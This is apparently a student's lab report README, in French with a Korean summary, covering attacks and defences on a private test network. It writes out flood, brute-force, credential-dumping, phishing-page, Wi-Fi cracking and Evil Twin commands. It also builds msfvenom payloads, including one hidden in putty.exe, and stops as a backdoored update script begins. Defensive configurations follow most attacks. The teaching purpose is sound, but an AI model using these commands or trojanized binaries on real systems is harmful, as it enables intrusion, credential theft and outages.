네트워크 정찰, DDoS, 무차별 대입, 피싱, Wi-Fi 공격, 악성코드 생성, MITM, 그리고 librsvg use-after-free CVE 분석을 다루는 프랑스 사이버보안 연구실 과제.
Paule Prichna MOUANDZIBI NDINGA
이 저장소에는 사이버보안 모듈의 일환으로 수행된 모든 실습 작업이 포함되어 있습니다. 목표는 컴퓨터 공격의 메커니즘을 이해하고, 통제된 환경에서 이를 시뮬레이션하며, 적절한 방어 솔루션을 제안하는 것입니다.
실험실 환경:
192.168.1.196)192.168.1.161)192.168.1.11단계 — 연결 확인
ping -c 3 192.168.1.1612단계 — Nmap을 이용한 네트워크 토폴로지
nmap -sn 192.168.1.0/24192.168.1.161)와 Kali(192.168.1.196)를 포함한 8개의 활성 호스트를 발견했습니다.3단계 — 네트워크 서비스 스캔
nmap -sV -O 192.168.1.1614단계 — Scapy 스크립트 작성
scanner.pysr1을 사용하여 SYN 패킷을 전송하고, 응답을 분석합니다(SYN-ACK = 열림, RST = 닫힘).python3 scanner.py 192.168.1.161 1 1005단계 — iptables를 이용한 차단
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/second -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
Test Nmap : nmap -sS --max-retries 1 192.168.1.161 → Message retransmission cap hit (Nmap abandonne).
Test Scapy : python3 scanner.py 192.168.1.161 1 100 → Détection partielle (le blocage n'est pas total).
Étape 6 — Configuration de PortSentry
Installation : sudo apt install portsentry -y
Configuration dans /etc/portsentry/portsentry.conf :
ini BLOCK_TCP="1" BLOCK_UDP="1" KILL_ROUTE="/usr/sbin/iptables -I INPUT -s $TARGET$ -j DROP" Redémarrage : sudo systemctl restart portsentry
Test : Scan Nmap depuis Kali → PortSentry détecte et bannit l'IP de Kali (192.168.1.196).
Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.
Étape 7 — Application web avec IA (Q6 & Q7)
Installation de l'environnement : python3 -m venv venv, pip install openai flask python-nmap
Fichiers créés : app.py, scanner.py, ai_analyzer.py, templates/index.html
Clé API OpenRouter configurée dans une variable d'environnement.
Lancement : python3 app.py
Accès : http://192.168.1.161:5000 (interface rose).
Résultat : Tableau des services détectés + rapport d'analyse IA.
Extension avec Nikto : sudo apt install nikto -y, script vuln_scanner.py, détection de vulnérabilités (ex: /server-status accessible).
DoS : 1 source. DDoS : plusieurs sources (botnet).
Mécanismes : saturation de la bande passante, CPU, mémoire, connexions.
Étape 2 — Analyse d'impact
Attaques étudiées : DoS/DDoS, force brute, injection SQL, MITM, XSS, DNS Cache Poisoning, exploitation de vulnérabilités, ingénierie sociale.
Étape 3 — Simulation avec hping3
Commande depuis Kali : sudo hping3 -S --flood --rand-source -p 80 192.168.1.161
Vérification sur Ubuntu : ss -tan | grep SYN-RECV → Des centaines de connexions en attente.
Étape 4 — Détection et Protection
Protection SYN Cookies dans /etc/sysctl.conf :
ini net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_syn_backlog = 2048 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 Application : sudo sysctl -p
Test après protection : ss -tan | grep SYN-RECV → Seulement 6 connexions (le serveur résiste).
Définition : Essayer plusieurs combinaisons de mots de passe.
Types : Simple, dictionnaire, hybride, table arc-en-ciel, distribuée.
Étape 2 — Génération du dictionnaire avec Wister
Clonage : git clone https://github.com/cycurity/wister.git
Création de mots.txt avec des mots probables.
Génération : wister -i ~/mots.txt → 6 mots de passe générés.
Étape 3 — Attaque SSH et FTP avec Hydra
Cible : 192.168.1.161, utilisateur : paulette.
Commande SSH : hydra -l paulette -P ~/mots.txt ssh://192.168.1.161
Résultat : Mot de passe passer123@@ trouvé en 6 secondes.
Commande FTP : hydra -l paulette -P ~/mots.txt ftp://192.168.1.161
Résultat : Mot de passe passer123@@ trouvé en 4 secondes.
Étape 4 — Utilisation de LaZagne
Connexion SSH : ssh [email protected]
Téléchargement : git clone https://github.com/AlessandroZ/LaZagne.git
Installation des dépendances : pip3 install psutil pycryptodome pyasn1 --break-system-packages
Exécution : sudo python3.11 laZagne.py all
Résultat : Récupération de 21 hashs depuis /etc/shadow, dont celui de cybersecurity (SHA-512).
Étape 5 — Prévention
Solutions : Mots de passe forts, Fail2ban, Clés SSH / 2FA.
Étape 6 — Configuration de Fail2ban
Installation : sudo apt install fail2ban -y
Création de /etc/fail2ban/jail.d/sshd.local :
ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 findtime = 600 bantime = 3600 Redémarrage : sudo systemctl restart fail2ban
Test : Hydra échoue → ssh: connect to host 192.168.1.161 port 22: Connection refused.
Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.
Phishing, Vishing, Smishing, Pretexting, Baiting, Quishing, Tailgating.
Étape 2 — Zphisher (Fausse page LinkedIn)
Installation : git clone https://github.com/htr-tech/zphisher.git
Lancement : bash zphisher.sh, choix du template LinkedIn, tunneling Localhost.
Modification de HOST='0.0.0.0' pour exposer la page sur le réseau.
Résultat : Identifiants capturés ([email protected] / passer123).
Étape 3 — Gophish (Campagne de sensibilisation)
Téléchargement et lancement de Gophish.
Configuration de MailHog pour capturer les emails.
Création d'un template, d'une landing page, d'un groupe cible et d'un profil SMTP.
Lancement de la campagne et suivi des statistiques.
Étape 4 — Fausse page Gmail avec Zphisher
Template Google, tunneling Localhost.
Résultat : Identifiants capturés ([email protected] / test123).
Étape 5 — Quishing (QR Code)
Génération d'un QR code avec qrencode -o qr_gmail.png -s 10 "http://192.168.1.196:8080".
Scan avec un smartphone → redirection vers la fausse page.
Étape 6 — Prévention
Solutions : MFA, sensibilisation, filtrage email (SPF, DKIM, DMARC).
WEP, WPA, WPA2, WPA3 (authentification, chiffrement, failles).
Étape 2 — Failles de sécurité
WEP : IV de 24 bits, RC4 faible. WPA : TKIP vulnérable. WPA2 : KRACK. WPA3 : Dragonblood.
Étape 3 — Attaque par force brute WPA2
Déploiement de WiFiChallengeLab-docker.
Scan avec airodump-ng --band abg wlan0mon.
Capture du handshake : airodump-ng -c 6 --bssid F0:9F:C2:71:22:12 -w /tmp/wpa-mobile wlan0mon.
Désauthentification : aireplay-ng --deauth 10 -a ....
Cassage : aircrack-ng /tmp/wpa-mobile-03.cap -w /usr/share/wordlists/rockyou.txt.
Résultat : Mot de passe starwars1 trouvé en 2 secondes.
Étape 4 — Attaque Evil Twin avec Airgeddon
Lancement d'Airgeddon, sélection de l'interface, mode moniteur.
Choix de l'attaque Evil Twin with Captive Portal.
Sélection du réseau cible wifi-mobile.
Configuration et lancement de l'attaque.
Capture du mot de passe Wi-Fi via le portail captif.
Étape 5 — Autres fonctionnalités
Capture du PMKID.
Beacon Flood.
WIDS/WIPS Confusion.
Étape 6 — Solutions de sécurisation
Mot de passe long et aléatoire (16+ caractères).
Migration vers WPA3 (SAE) et activation de PMF (802.11w).
Génération : msfvenom -a x86 --platform windows -p windows/exec CMD='net user junior Passer123 /add' -x /tmp/putty32.exe -k -f exe -o user_putty.exe
Transfert via serveur HTTP Python, exécution sur Windows.
Vérification : L'utilisateur junior est créé.
Étape 2 — Malware Ubuntu (ajout d'utilisateur au groupe sudo)
Génération : msfvenom -p linux/x64/exec CMD='useradd -m junior -p $(openssl passwd -1 Passer123) && usermod -aG sudo junior' -f elf -o add_user_ubuntu
Exécution et vérification : L'utilisateur junior appartient au groupe sudo.
Étape 3 — Backdoor dans un script Bash
Script system-update.sh simulant une mise à jour.